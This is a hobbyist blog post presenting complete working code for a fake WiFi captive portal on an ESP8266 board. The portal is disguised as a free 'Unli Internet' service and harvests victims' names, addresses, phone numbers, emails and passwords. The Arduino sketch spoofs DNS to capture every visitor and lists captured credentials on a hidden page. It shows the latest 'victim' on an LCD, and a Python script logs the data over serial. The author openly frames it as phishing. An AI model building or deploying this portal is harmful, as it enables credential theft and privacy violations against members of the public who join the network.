A captive portal is the website that pops up every time you connect to wifi(like in Starbucks or SM Free Wifi Service). In today's post, through my endless research, it came to me that it is possible to create a fake captive portal to collect confidential information for recons strategy(cyber security it is called phishing ) or on a brighter side it could be repurposed as a survey platform to collect opinions from people about certain topics with full disclosure of course.
This idea just pops into my head but I don't know where to start so I googled the keyword "captive portal nodemcu" and on top of the search result came this github page ESP8266 Captive Portal. It seems that I just got a free lunch from this guy, so I downloaded it immediately and it worked. But I made a few changes to it. The following are the changes I made:
- Rename the title and added some fields
- I used a tiny lcd screen to capture the latest victim
- I created a python program to capture the latest input of the victim via serial communication and with this, the data can be stored to a csv file for further analysis or can be stored to a database.
Sadly I could not take a picture of my setup because I have no decent camera, so if you guys have a kind soul and would want to donate a smartphone, it would be so nice and greatly appreciated. I am just kidding.
To setup the interface between with nodemcu, I used wiring in Figure 1 and download the TFT_Esp library. Sometimes this library requires the Adafruit GFX library so I also downloaded it as well.
The original code used the builtin led of nodemcu to flash to indicate that a new victim took the bait, but for some reason the lcd turns off while led is flashing so I removed it and replaced it by drawing a green circle at bottom of the lcd and blinks each time a new victim took the bait.
Here is the sample screenshot of the captive portal:
I made all fields required and change the input style of the email field from text to email so that at least it will check for valid email format.
All other features remains the same as the original like the web page to display all captured records and the webpage that appears after pressing the "sign In" button.
The code snippets is very simple so I did wrote further explanations how each blocks functions.
Here is the modified arduino code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 | // ESP8266 WiFi Captive Portal // By 125K (github.com/125K) // Includes #include <ESP8266WiFi.h> #include <DNSServer.h> #include <ESP8266WebServer.h> #include <Adafruit_GFX.h> // LCD graphical driver #include <TFT_eSPI.h> // Graphics and font library for ST7735 driver chip #include <SPI.h> #define FS_NO_GLOBALS #include <FS.h> // User configuration #define SSID_NAME "Unli Internet" #define SUBTITLE "Free unlimited internet service." #define TITLE "Register and Sign in:" #define BODY "Register to create an account to get free unlimited internet." #define POST_TITLE "Creating your account and verifying..." #define POST_BODY "Your account is being validated. Please, wait up to 5 minutes for device connection.</br>Thank you." #define PASS_TITLE "Credentials" #define CLEAR_TITLE "Cleared" #define TFT_BLACK 0x0000 /* 0, 0, 0 */ #define TFT_NAVY 0x000F /* 0, 0, 128 */ #define TFT_DARKGREEN 0x03E0 /* 0, 128, 0 */ #define TFT_DARKCYAN 0x03EF /* 0, 128, 128 */ #define TFT_MAROON 0x7800 /* 128, 0, 0 */ #define TFT_PURPLE 0x780F /* 128, 0, 128 */ #define TFT_OLIVE 0x7BE0 /* 128, 128, 0 */ #define TFT_LIGHTGREY 0xC618 /* 192, 192, 192 */ #define TFT_DARKGREY 0x7BEF /* 128, 128, 128 */ #define TFT_BLUE 0x001F /* 0, 0, 255 */ #define TFT_GREEN 0x07E0 /* 0, 255, 0 */ #define TFT_CYAN 0x07FF /* 0, 255, 255 */ #define TFT_RED 0xF800 /* 255, 0, 0 */ #define TFT_MAGENTA 0xF81F /* 255, 0, 255 */ #define TFT_YELLOW 0xFFE0 /* 255, 255, 0 */ #define TFT_WHITE 0xFFFF /* 255, 255, 255 */ #define TFT_ORANGE 0xFDA0 /* 255, 180, 0 */ #define TFT_GREENYELLOW 0xB7E0 /* 180, 255, 0 */ #define TFT_PINK 0xFC9F TFT_eSPI tft = TFT_eSPI(); // Invoke library, pins defined in User_Setup.h #define ST7735_DRIVER #define ST7735_REDTAB #define TFT_WIDTH 128 #define TFT_HEIGHT 160 // Init System Settings const byte HTTP_CODE = 200; const byte DNS_PORT = 53; const byte TICK_TIMER = 1000; IPAddress APIP(151, 0, 1, 1); // Gateway String fullname=""; String address=""; String occupation=""; String mobile=""; String email=""; String password=""; String Credentials=""; unsigned long bootTime=0, lastActivity=0, lastTick=0, tickCtr=0; DNSServer dnsServer; ESP8266WebServer webServer(80); String input(String argName) { String a=webServer.arg(argName); a.replace("<","<");a.replace(">",">"); a.substring(0,200); return a; } String footer() { return "</div><div class=q><center><a>© All rights reserved.</a></center></div>"; } String header(String t) { String a = String(SSID_NAME); String CSS = "article { background: #f2f2f2; padding: 1.3em; }" "body { color: #333; font-family: Century Gothic, sans-serif; font-size: 14px; line-height: 20px; margin: 0; padding: 0; }" "div { padding: 0.5em; }" "h3 { margin: 0.5em 0 0 0; padding: 0.5em; }" "input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; }" "label { color: #333; display: block; font-style: italic; font-weight: bold; }" "nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }" "nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } " "textarea { width: 100%; }"; String h = "<!DOCTYPE html><html>" "<head><title>"+a+" :: "+t+"</title>" "<meta name=viewport content=\"width=device-width,initial-scale=1\">" "<style>"+CSS+"</style></head>" "<body><nav><b>"+a+"</b> "+SUBTITLE+"</nav><div><h3>"+t+"</h3></div><div>"; return h; } String creds() { return header(PASS_TITLE) + "<ol>" + Credentials + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>" + footer(); } String index() { return header(TITLE) + "<div>" + BODY + "</ol></div><div><form action=/post method=post>" + "<b>Full Name:</b> <center><input type=text required name=fullname></input></center>" + "<b>Address:</b> <center><input type=text required name=address></input></center>" + "<b>Mobile Number:</b> <center><input type=text required name=mobile></input></center>" + "<b>Occupation:</b> <center><input type=text required name=occupation></input></center>" + "<b>Email:</b> <center><input type=email autocomplete=email required name=email></input></center>" + "<b>Password:</b> <center><input type=password required name=password></input><input type=submit value=\"Sign in\"></form></center>" + footer(); } String posted() { fullname=input("fullname"); address=input("address"); occupation=input("occupation"); mobile=input("mobile"); email=input("email"); password=input("password"); Credentials="<li>Name: <b>" + fullname + "</b></br>Address: <b>" + address + "</b></br>Occupation: <b>" + occupation + "</b></br>Mobile No: <b>" + mobile + "</b></br>Email: <b>" + email + "</b></br>Password: <b>" + password + "</b></li>" + Credentials; return header(POST_TITLE) + POST_BODY + footer(); } String clear() { String fullname="<p></p>"; String address="<p></p>"; String occupation="<p></p>"; String mobile="<p></p>"; String email="<p></p>"; String password="<p></p>"; Credentials="<p></p>"; return header(CLEAR_TITLE) + "<div><p>The credentials list has been reseted.</div></p><center><a style=\"color:blue\" href=/>Back to Index</a></center>" + footer(); } void BLINK() { // The internal LED will blink 5 times when a password is received. if(email!=""){ int count = 0; //Serial.println(F("Somebody registered")); //Serial.println(Credentials); while(count < 5){ // digitalWrite(BUILTIN_LED, LOW); //tft.drawCircle(115, 145, 10,TFT_WHITE); tft.fillCircle(113, 145, 9, TFT_RED); delay(400); // digitalWrite(BUILTIN_LED, HIGH); tft.fillCircle(113, 145, 9, TFT_DARKGREEN); delay(400); count = count + 1; } SCR_HEADER(); tft.setCursor(9,32); tft.println(fullname); Serial.println(fullname); tft.setCursor(9,46); tft.println(address); Serial.println(address); tft.setCursor(9,60); tft.println(mobile); Serial.println(mobile); tft.setCursor(9,74); tft.println(occupation); Serial.println(occupation); tft.setCursor(9,88); tft.println(email); Serial.println(email); tft.setCursor(9,102); tft.println(password); Serial.println(password); }} void SCR_HEADER() { tft.fillScreen(TFT_LIGHTGREY); tft.drawRoundRect(2, 2, 125, 26, 5, TFT_RED); tft.fillRoundRect(4, 4, 121, 22, 4, TFT_BLUE); tft.setTextColor(TFT_WHITE); tft.setTextSize(1); tft.setCursor(9,11); tft.drawString(PASS_TITLE, 9, 7, 2); tft.drawCircle(113, 145, 10,TFT_WHITE); tft.fillCircle(113, 145, 9, TFT_DARKGREEN); } void setup() { bootTime = lastActivity = millis(); WiFi.mode(WIFI_AP); WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0)); WiFi.softAP(SSID_NAME); dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only HTTP) webServer.on("/post",[]() { webServer.send(HTTP_CODE, "text/html", posted()); BLINK(); }); webServer.on("/creds",[]() { webServer.send(HTTP_CODE, "text/html", creds()); }); webServer.on("/clear",[]() { webServer.send(HTTP_CODE, "text/html", clear()); }); webServer.onNotFound([]() { lastActivity=millis(); webServer.send(HTTP_CODE, "text/html", index()); }); webServer.begin(); pinMode(BUILTIN_LED, OUTPUT); digitalWrite(BUILTIN_LED, HIGH); Serial.begin(9600); tft.init(); tft.setRotation(0); // portrait tft.fillScreen(TFT_LIGHTGREY); SCR_HEADER(); } void loop() { if ((millis()-lastTick)>TICK_TIMER) {lastTick=millis();} dnsServer.processNextRequest(); webServer.handleClient(); } |
Here is the Python code:
1 2 3 4 5 6 7 | import serial ser = serial.Serial('com4', baudrate=9600, timeout=1) ser.open while 1: arduinodata = ser.readline().decode('ascii') if arduinodata != '': print(arduinodata) |
No comments:
Post a Comment